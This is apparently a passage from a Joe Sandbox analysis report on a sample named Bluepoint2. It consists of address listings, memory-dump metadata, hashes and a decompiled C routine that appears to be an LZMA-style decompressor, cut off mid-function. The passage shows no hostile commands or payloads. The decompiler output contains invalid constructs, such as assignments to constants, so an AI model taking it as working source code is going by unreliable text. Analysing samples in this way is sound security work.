                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406ef9
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f24
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f29
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f35
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f75
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
                                                    0x00406f7f
                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00406f9a
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00000000
                                                    0x00406f41
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fbd
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fe8
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406fed
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407056
                                                    0x00407056
                                                    0x00407059
                                                    0x00000000
                                                    0x00000000
                                                    0x00407395
                                                    0x00407395
                                                    0x00407399
                                                    0x004073bb
                                                    0x004073bb
                                                    0x004073be
                                                    0x004073c8
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x0040739b
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a5
                                                    0x004073a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00407489
                                                    0x00407489
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x0040749d
                                                    0x00407458
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407543
                                                    0x00407546
                                                    0x00407447
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x0040744d
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x0040749d
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725b
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f44
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00000000
                                                    0x00000000
                                                    0x004070cf
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x00407599
                                                    0x00000000
                                                    0x00407599
                                                    0x004070d9
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070df
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x00407390
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x0040738e
                                                    0x004075c3
                                                    0x004075c3
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000
                                                    0x004075fa
                                                    0x00407447
                                                    0x004074c7
                                                    0x00407490

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
                                                    • Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
                                                    • Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
                                                    • Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 98%
                                                    			E00407395() {
                                                    				void _t533;
                                                    				signed int _t534;
                                                    				signed int _t535;
                                                    				signed int* _t605;
                                                    				void* _t612;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					if( *(_t612 - 0x40) != 0) {
                                                    						 *(_t612 - 0x84) = 0x13;
                                                    						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
                                                    						goto L132;
                                                    					} else {
                                                    						__eax =  *(__ebp - 0x4c);
                                                    						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    						__ecx =  *(__ebp - 0x58);
                                                    						__eax =  *(__ebp - 0x4c) << 4;
                                                    						__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    						L130:
                                                    						 *(__ebp - 0x58) = __eax;
                                                    						 *(__ebp - 0x40) = 3;
                                                    						L144:
                                                    						 *(__ebp - 0x7c) = 0x14;
                                                    						L145:
                                                    						__eax =  *(__ebp - 0x40);
                                                    						 *(__ebp - 0x50) = 1;
                                                    						 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                    						L149:
                                                    						if( *(__ebp - 0x48) <= 0) {
                                                    							__ecx =  *(__ebp - 0x40);
                                                    							__ebx =  *(__ebp - 0x50);
                                                    							0 = 1;
                                                    							__eax = 1 << __cl;
                                                    							__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                    							__eax =  *(__ebp - 0x7c);
                                                    							 *(__ebp - 0x44) = __ebx;
                                                    							while(1) {
                                                    								L140:
                                                    								 *(_t612 - 0x88) = _t533;
                                                    								while(1) {
                                                    									L1:
                                                    									_t534 =  *(_t612 - 0x88);
                                                    									if(_t534 > 0x1c) {
                                                    										break;
                                                    									}
                                                    									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
                                                    										case 0:
                                                    											if( *(_t612 - 0x6c) == 0) {
                                                    												goto L170;
                                                    											}
                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                    											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                    											_t534 =  *( *(_t612 - 0x70));
                                                    											if(_t534 > 0xe1) {
                                                    												goto L171;
                                                    											}
                                                    											_t538 = _t534 & 0x000000ff;
                                                    											_push(0x2d);
                                                    											asm("cdq");
                                                    											_pop(_t569);
                                                    											_push(9);
                                                    											_pop(_t570);
                                                    											_t608 = _t538 / _t569;
                                                    											_t540 = _t538 % _t569 & 0x000000ff;
                                                    											asm("cdq");
                                                    											_t603 = _t540 % _t570 & 0x000000ff;
                                                    											 *(_t612 - 0x3c) = _t603;
                                                    											 *(_t612 - 0x1c) = (1 << _t608) - 1;
                                                    											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
                                                    											_t611 = (0x300 << _t603 + _t608) + 0x736;
                                                    											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
                                                    												L10:
                                                    												if(_t611 == 0) {
                                                    													L12:
                                                    													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
                                                    													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                                    													goto L15;
                                                    												} else {
                                                    													goto L11;
                                                    												}
                                                    												do {
                                                    													L11:
                                                    													_t611 = _t611 - 1;
                                                    													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
                                                    												} while (_t611 != 0);
                                                    												goto L12;
                                                    											}
                                                    											if( *(_t612 - 4) != 0) {
                                                    												GlobalFree( *(_t612 - 4));
                                                    											}
                                                    											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                    											 *(_t612 - 4) = _t534;
                                                    											if(_t534 == 0) {
                                                    												goto L171;
                                                    											} else {
                                                    												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
                                                    												goto L10;
                                                    											}
                                                    										case 1:
                                                    											L13:
                                                    											__eflags =  *(_t612 - 0x6c);
                                                    											if( *(_t612 - 0x6c) == 0) {
                                                    												 *(_t612 - 0x88) = 1;
                                                    												goto L170;
                                                    											}
                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                    											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
                                                    											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                    											_t45 = _t612 - 0x48;
                                                    											 *_t45 =  *(_t612 - 0x48) + 1;
                                                    											__eflags =  *_t45;
                                                    											L15:
                                                    											if( *(_t612 - 0x48) < 4) {
                                                    												goto L13;
                                                    											}
                                                    											_t546 =  *(_t612 - 0x40);
                                                    											if(_t546 ==  *(_t612 - 0x74)) {
                                                    												L20:
                                                    												 *(_t612 - 0x48) = 5;
                                                    												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
                                                    												goto L23;
                                                    											}
                                                    											 *(_t612 - 0x74) = _t546;
                                                    											if( *(_t612 - 8) != 0) {
                                                    												GlobalFree( *(_t612 - 8));
                                                    											}
                                                    											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
                                                    											 *(_t612 - 8) = _t534;
                                                    											if(_t534 == 0) {
                                                    												goto L171;
                                                    											} else {
                                                    												goto L20;
                                                    											}
                                                    										case 2:
                                                    											L24:
                                                    											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
                                                    											 *(_t612 - 0x84) = 6;
                                                    											 *(_t612 - 0x4c) = _t553;
                                                    											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
                                                    											goto L132;
                                                    										case 3:
                                                    											L21:
                                                    											__eflags =  *(_t612 - 0x6c);
                                                    											if( *(_t612 - 0x6c) == 0) {
                                                    												 *(_t612 - 0x88) = 3;
                                                    												goto L170;
                                                    											}
                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                    											_t67 = _t612 - 0x70;
                                                    											 *_t67 =  &(( *(_t612 - 0x70))[1]);
                                                    											__eflags =  *_t67;
                                                    											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                                    											L23:
                                                    											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
                                                    											if( *(_t612 - 0x48) != 0) {
                                                    												goto L21;
                                                    											}
                                                    											goto L24;
                                                    										case 4:
                                                    											L133:
                                                    											_t531 =  *_t605;
                                                    											_t588 = _t531 & 0x0000ffff;
                                                    											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
                                                    											if( *(_t612 - 0xc) >= _t564) {
                                                    												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
                                                    												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
                                                    												 *(_t612 - 0x40) = 1;
                                                    												_t532 = _t531 - (_t531 >> 5);
                                                    												__eflags = _t532;
                                                    												 *_t605 = _t532;
                                                    											} else {
                                                    												 *(_t612 - 0x10) = _t564;
                                                    												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                                    												 *_t605 = (0x800 - _t588 >> 5) + _t531;
                                                    											}
                                                    											if( *(_t612 - 0x10) >= 0x1000000) {
                                                    												goto L139;
                                                    											} else {
                                                    												goto L137;
                                                    											}
                                                    										case 5:
                                                    											L137:
                                                    											if( *(_t612 - 0x6c) == 0) {
                                                    												 *(_t612 - 0x88) = 5;
                                                    												goto L170;
                                                    											}
                                                    											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                    											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                    											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                                    											L139:
                                                    											_t533 =  *(_t612 - 0x84);
                                                    											goto L140;
                                                    										case 6:
                                                    											__edx = 0;
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x34) = 1;
                                                    												 *(__ebp - 0x84) = 7;
                                                    												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                    												goto L132;
                                                    											}
                                                    											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    											__esi =  *(__ebp - 0x60);
                                                    											__cl = 8;
                                                    											__cl = 8 -  *(__ebp - 0x3c);
                                                    											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    											__ecx =  *(__ebp - 0x3c);
                                                    											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    											__ecx =  *(__ebp - 4);
                                                    											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    											__eflags =  *(__ebp - 0x38) - 4;
                                                    											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    											if( *(__ebp - 0x38) >= 4) {
                                                    												__eflags =  *(__ebp - 0x38) - 0xa;
                                                    												if( *(__ebp - 0x38) >= 0xa) {
                                                    													_t98 = __ebp - 0x38;
                                                    													 *_t98 =  *(__ebp - 0x38) - 6;
                                                    													__eflags =  *_t98;
                                                    												} else {
                                                    													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    												}
                                                    											} else {
                                                    												 *(__ebp - 0x38) = 0;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x34) - __edx;
                                                    											if( *(__ebp - 0x34) == __edx) {
                                                    												__ebx = 0;
                                                    												__ebx = 1;
                                                    												goto L61;
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__ecx =  *(__ebp - 8);
                                                    												__ebx = 0;
                                                    												__ebx = 1;
                                                    												__al =  *((intOrPtr*)(__eax + __ecx));
                                                    												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    												goto L41;
                                                    											}
                                                    										case 7:
                                                    											__eflags =  *(__ebp - 0x40) - 1;
                                                    											if( *(__ebp - 0x40) != 1) {
                                                    												__eax =  *(__ebp - 0x24);
                                                    												 *(__ebp - 0x80) = 0x16;
                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    												__eax =  *(__ebp - 0x28);
                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    												__al = __al & 0x000000fd;
                                                    												__eax = (__eflags >= 0) - 1 + 0xa;
                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                    												__eax =  *(__ebp - 4);
                                                    												__eax =  *(__ebp - 4) + 0x664;
                                                    												__eflags = __eax;
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												goto L69;
                                                    											}
                                                    											__eax =  *(__ebp - 4);
                                                    											__ecx =  *(__ebp - 0x38);
                                                    											 *(__ebp - 0x84) = 8;
                                                    											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                    											goto L132;
                                                    										case 8:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x84) = 0xa;
                                                    												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x38);
                                                    												__ecx =  *(__ebp - 4);
                                                    												__eax =  *(__ebp - 0x38) + 0xf;
                                                    												 *(__ebp - 0x84) = 9;
                                                    												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                    											}
                                                    											goto L132;
                                                    										case 9:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												goto L90;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x60);
                                                    											if( *(__ebp - 0x60) == 0) {
                                                    												goto L171;
                                                    											}
                                                    											__eax = 0;
                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                    											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                    											__eflags = _t259;
                                                    											0 | _t259 = _t259 + _t259 + 9;
                                                    											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                    											goto L76;
                                                    										case 0xa:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x84) = 0xb;
                                                    												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                    												goto L132;
                                                    											}
                                                    											__eax =  *(__ebp - 0x28);
                                                    											goto L89;
                                                    										case 0xb:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__ecx =  *(__ebp - 0x24);
                                                    												__eax =  *(__ebp - 0x20);
                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x24);
                                                    											}
                                                    											__ecx =  *(__ebp - 0x28);
                                                    											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    											L89:
                                                    											__ecx =  *(__ebp - 0x2c);
                                                    											 *(__ebp - 0x2c) = __eax;
                                                    											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    											L90:
                                                    											__eax =  *(__ebp - 4);
                                                    											 *(__ebp - 0x80) = 0x15;
                                                    											__eax =  *(__ebp - 4) + 0xa68;
                                                    											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                    											goto L69;
                                                    										case 0xc:
                                                    											L100:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xc;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t335 = __ebp - 0x70;
                                                    											 *_t335 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t335;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											__eax =  *(__ebp - 0x2c);
                                                    											goto L102;
                                                    										case 0xd:
                                                    											L37:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xd;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t122 = __ebp - 0x70;
                                                    											 *_t122 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t122;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L39:
                                                    											__eax =  *(__ebp - 0x40);
                                                    											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    												goto L48;
                                                    											}
                                                    											__eflags = __ebx - 0x100;
                                                    											if(__ebx >= 0x100) {
                                                    												goto L54;
                                                    											}
                                                    											L41:
